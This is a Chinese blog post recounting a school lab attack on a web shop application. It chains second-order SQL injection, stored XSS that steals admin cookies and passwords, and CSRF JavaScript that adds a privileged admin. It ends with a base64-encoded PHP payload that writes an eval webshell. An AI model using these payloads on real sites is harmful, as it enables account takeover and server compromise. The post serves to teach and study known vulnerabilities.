利用的都是一些早就在乌云上爆出来的漏洞,是学校上课做的一个实验,把过程贴出来,第一次尝试写博客,大牛勿喷。
1 Sql注入
网站服务器ip:192.168.238.132
管理员的访问网站的电脑ip:192.168.238.1
攻击者ip:192.168.238.129
2) 漏洞存在于站外广告统计功能(对应管理后台的报表统计->站外投放JS),即/affiche.php页面,将from参数(网站来源referer)存储到了数据库表ecs_adsense,而在后台的“站外投放JS”读取出来未过滤又进入了sql语句,导致二次注入。(参考乌云http://www.wooyun.org/bugs/wooyun-2010-023188 )
在/affiche.php119行有这样一句话
$sql = "INSERT INTO " .$ecs->table('adsense') . "(from_ad, referer, clicks) VALUES ('-1','" . $site_name . "', '1')";
可以发现$site_name即$_GET['from']存入数据库了
而在/admin/adsense.php47-49行又有以下代码
/* 获取当前广告所产生的订单总数 */
$sql2 = 'SELECT COUNT(order_id) FROM '.$ecs->table('order_info'). " WHERE from_ad='$rows[ad_id]' ANDreferer='$rows[referer]'";
$rows['order_num'] =$db->getOne($sql2);
可以发现没有再次addslashes导致注入。
3)于是我们构造以下两个链接
在浏览器中访问后即把恶意代码插入数据库中了。当管理员访问后台页面时,如图
可以发现当管理员访问该界面时发生了sql注入,管理员的账户密码都可以得到,包括hashcode。
可是这个界面只有管理员能够看到,不是管理员要怎么利用呢???
2 xss获得管理员账户密码
4)我们想到要是插入一段js代码,能够获取到当前页面元素的值当然也就可以找到管理员的账户密码了。
在xsser.me上自定义getHtmlText模块获取用户的页面内容
构造以下链接将js插入数据库中
管理员浏览该页面后如图
可以发现已经接收到cookies和账户密码信息,如下图所示
账户密码信息如图
Hashcode如图
由于密码的hash值生成方式如下
这样我们得到了账户密码以及salt值,在cmd5网站上解密,因为密码是admin123比较简单,因此cmd5上面可以解出来。但如果密码复杂的话就没办法解密了。
5)于是我们寻找更通用的进入后台方式
发现cookies的生成方式如下
只需要把密码的hash值和hashcode的值连接起来进行md5加密即可获得密码,可以构造cookies欺骗。
参考 http://www.2cto.com/Article/201307/232194.html
但我做的时候用构造的cookies一直无法进入后台,不知道为什么不科学啊~
于是采用csrf进入后台
3 xss+csrf添加任意管理员并分配权限
6)我们利用xss与csrf结合进行攻击。
乌云漏洞 http://www.wooyun.org/bugs/wooyun-2010-033159
由于在添加管理员账号时没有token值验证因此可以构造js向后台post数据添加管理员,另外新添加的管理员是没有权限的,后面我们要拿webshell的时候需要用到语言编辑的权限,因此我们再post一个添加权限的数据。
我们的add.js代码如下
Ajax.call('http://192.168.238.132/upload/admin/privilege.php?act=add','user_name=zzzz&email=zzzz@qq.com&password=123456&pwd_confirm=123456&act=insert','',"POST","JSON");
Ajax.call('http://192.168.238.132/upload/admin/privilege.php','action_code[]=lang_edit&id=2&Submit=保存&act=update_allot','',"POST","JSON");一个是添加管理员,一个是分配权限
继续构造如下链接,将代码插入数据库中
在用户点击之前可以看到此时管理员只有一个
这时如果访问广告js界面,我们刚刚插入的代码就会执行
这时候再次查看管理员,发现已经多了一个管理员,并且拥有语言编辑的权利
权利如下图
Ok至此我们成功拿到后台管理员权限。
4 获取websehll
7)下面使用我们刚才添加的管理员拿webshell。登陆后发现只有一个语言编辑权利,但这正是我们为了拿webshell分配的,已经足够了。
由于将变量直接写入user.php文件并且没有对变量过滤,导致可以插入代码并执行。
查找用户信息
在用户信息后面添加生成一句话木马的代码
${${fputs(fopen(base64_decode(dGVzdC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbdGVzdF0pPz4))}}
此时我们查看user.php的代码发现刚才的代码已经成功写入user.php文件中
然后攻击者访问
8) 使用菜刀连接我们的一句话木马
可以发现已经成功连接上
9)在根目录下上传木马muma.php
至此成功拿到webshell
后面的提权就不贴出来了。